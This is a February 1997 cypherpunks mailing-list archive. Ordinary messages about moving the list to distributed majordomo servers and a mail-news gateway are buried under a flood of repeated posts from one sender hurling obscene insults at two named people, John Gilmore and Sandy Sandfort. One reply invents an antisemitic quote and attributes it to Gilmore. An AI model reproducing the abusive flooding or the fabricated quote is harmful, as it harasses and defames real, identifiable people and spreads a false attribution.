Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 11:08:58 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 11:08:58 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770984.521667.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 11:09:01 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 11:09:01 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771057.522303.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 12 11:09:13 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 12 Feb 1997 11:09:13 -0800 (PST) Subject: Need a good bi-directional mail-news gateway Message-ID: <01IFBXLR8Z009AN99E@mbcl.rutgers.edu> Hi. The cypherpunks list is going through some major rearrangements, and it appears that we need a bi-directional mail-news gateway for the new group alt.cypherpunks and for whatever list(s) come out of the clouds of dust. (The list(s) in question may be done in a distributed fashion across many different machines, to lessen volume (1000+ subscribers, 100+ messages a day), crash vulnerablity, and other problems.) Anybody have experience in running a _really_ high-volume mail-news gateway (or in running distributed lists)? Please cc: any replies to cypherpunks at toad.com. Thanks, -Allen From paul at fatmans.demon.co.uk Wed Feb 12 11:49:59 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 11:49:59 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770998.521798.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 11:51:39 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 11:51:39 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771046.522224.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From ravage at ssz.com Wed Feb 12 11:53:57 1997 From: ravage at ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 11:53:57 -0800 (PST) Subject: Network of majordomos (fwd) Message-ID: <199702121959.NAA01855@einstein> Forwarded message: > From: Eric Murray > Subject: Re: Network of majordomos (fwd) > Date: Wed, 12 Feb 1997 09:20:04 -0800 (PST) > > Jim Choate writes: > > > > > From: Greg Broiles > > > Subject: Network of majordomos > > > > > > I still think you're just rediscovering Usenet technology. Instead of > > > installing Majordomo, why not install INN, pass traffic as newsgroup(s) (if > > > you don't like alt.cypherpunks, you could simply start your own top-level > > > cpunks group(s)), and leave your NNTP port(s) open (or read-only, if you're > > > an evil CIA brain-stealing censor) so that cpunks at large could connect with > > Did you get it running last nite Greg? When do you expect to be able to > > handle traffic? > > Jim, this sort of petty back-biting is exactly what we DON'T need. Huh? I just inquired as to whether he had done anything with his suggestion. Nothing petty or back-biting at all. We've had what 2 days warning? Already there are 2 majordomo's which are in the process of setting up, we have a third waiting on name registration and setup, and finaly one that I haven't heard back on as to the validity of the original offer. I would very much like to have a mail-to-news gateway involved. If either of you come online you are welcome to get feeds from SSZ (can't speak for the other remailer operators). There are already about a dozen test subscribers on SSZ and ask Igor about algebra.com. I suspect we will have the two list servers at SSZ and algebra connected within 24-48 hours. Right now Igor is setting up the cpunks-hosts list for planning and as soon as at least 1 more person I know of gets on we will be ready to go on the various mods on the SSZ end. > I understand how much fun it is to build something new, but Greg > is correct, Usenet news already does what you want and it isn't any harder > to set up than Majordomo (I've done both more than once). I'm willing to > set up a news server to serve a private (not under Usenet hierarchy) > cypherpunks hierarchy, as long as I'm not the only one. So when do you expect to go live? Would you mind clarifying what you mean by the only one? > I also think that you and Igor and whoever else should go ahead with > your distributed Majordomo. And people with other plans should go through > with them also. I don't see the inevitable seperation of > the list into fragments as being a problem (more like the cross-posting > between the fragments will be the problem). Eventuallay, as the systems > evolve and people switch between them one will gain the most readership > and become the dominant way of propagating "the list". But the > information will get out, somehow, no matter what. It could happen. I don't hold to the 'medium is the message' theme however. If we can arrange a mail-news feed then the distinction is moot. Some people don't want to stay up to date and involved, newsgroups are great for them. Mail lists however offer a more immediate interaction. Then for the more scholarly we should have archive sites available with as much of the list/newsgroup traffic as is possible. So far no body has offered to act as a archive site, any takers? Jim Choate CyberTects ravage at ssz.com From paul at fatmans.demon.co.uk Wed Feb 12 12:11:21 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:11:21 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771128.522894.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:11:37 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:11:37 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771069.522398.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:11:51 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:11:51 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771157.523174.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From dlv at bwalk.dm.com Wed Feb 12 12:12:13 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 12 Feb 1997 12:12:13 -0800 (PST) Subject: alt.cypherpunks In-Reply-To: Message-ID: Robert Hettinga writes: > Hey, folks, > > I thought all you had to do to create an alt.group was to have a news admin > somewhere just make a group; send out a control message of somekind. I > thought that alt groups didn't have to go through a charter, or voting > process, or anything else. They just happened. > > Then, everyone just has to tell their local news admin that they went to > see it, or they can wait until their news admin sees it flying by, and adds > it to the available groups list at his own discretion. > > It's not like we want comp.cypherpunks or something, with a voting process, > right? The voting process is not that bad - it'll easily pass if a fraction of people now subscribed to this mailing list votes yes. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Feb 12 12:12:18 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 12 Feb 1997 12:12:18 -0800 (PST) Subject: Germany Versus Scientology In-Reply-To: <33015976.5514@gte.net> Message-ID: Dale Thorn writes: > Evil se7en wrote: > > I have posted a rather lengthy story about Germany's war against the > > Scientologists. It was long enough to preclude mailing it directly to the > > lists, so I have put it on my web site. You may find it at: > > The L.A. Times ran a very impressive two-page article on this last > week. The text compared the current steps by the German govt. to > the steps taken against Jews by the Nazi govt. > > I happen to believe that Scientologists are dangerous, for how > quickly they can ruin someone's mental state. But the article > is interesting for the comparisons.... > "I happen to believe that Jews are dangerous, for how quickly they can ruin someone's mental state." - John Gilmore --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Feb 12 12:12:38 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 12 Feb 1997 12:12:38 -0800 (PST) Subject: Cypherpunks-related lists on toad.com In-Reply-To: <3.0.1.32.19970211212158.0067c7a0@popd.ix.netcom.com> Message-ID: <5iZ12D8w165w@bwalk.dm.com> Bill Stewart writes: > Hi, John - thanks for supporting and putting up with us all these years. > How do you feel about continuing support for the cypherpunks-related > lists that are also on toad.com, coderpunks and cypherpunks-announce? > > I'd guess that if we move the cypherpunks list to another machine, > rather than mutating it into alt.cypherpunks, the -announce list > should probably also move once the new list is working. > > > # Thanks; Bill > # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com > # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp > # (If this is a mailing list, please Cc: me on replies. Thanks.) > If NoCeMs were used to 'highlight' specific subsets of traffic, there'd be no need to have separate forums: just let lmmmarcathy (or perry metzger) highlight cryptorelevant traffic, and let Gilmore (fart) highlight announcemen --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From ravage at einstein.ssz.com Wed Feb 12 12:12:39 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 12:12:39 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) Message-ID: <199702122018.OAA01873@einstein> Forwarded message: > Date: Wed, 12 Feb 1997 14:22 EDT > From: "E. Allen Smith" > Umm... because you'll eventually accumulate _lots_ of addresses > that don't work, which will slow things down tremendously in sending > mail out? The current subscription is between 1,000 and 2,000 I don't think that is _lots_. All we need to do is count the number of bounces per address in a given period, the SSZ end is trying to decide between weekly or monthly cleanings, and then clear that address. At no point would I need to archive the original bounce. > >I can verify this. If I was not already having to deal with these problem > >as a current mailing list operator I certainly would not take on the > >job. It is one of the reasons I STRONGLY suggest anyone serious about this > >should use the resources to make money as well. Anyone capable of setting up > >and operating such a remailer system is at least capable of basic skills. > > Well, loki at cyberpass.net has made the offer to host the entire > list... and Lance is certainly making money at it. While this would have > some problems in comparison with the distributed list idea (namely more of > a choke point), it would decidedly help. I certainly hope they get a cpunks address made available. I will certainly subscribe cpunks at ssz so that the distributed remailer will benefit from that input. However, one of the major realizations is that as long as one anything is involved in the list it is capable of being shutdown at any time with no warning. It also makes it much easier to compromise. I would like to see servers in several countries myself. > >Is anyone interested in acting as a mail-to-news gateway? Want to volunteer? Jim Choate CyberTects ravage at ssz.com From paul at fatmans.demon.co.uk Wed Feb 12 12:13:02 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:13:02 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771142.523027.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:13:41 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:13:41 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771010.521891.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:15:21 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:15:21 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770907.521038.0@fatmans.demon.co.uk> John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John 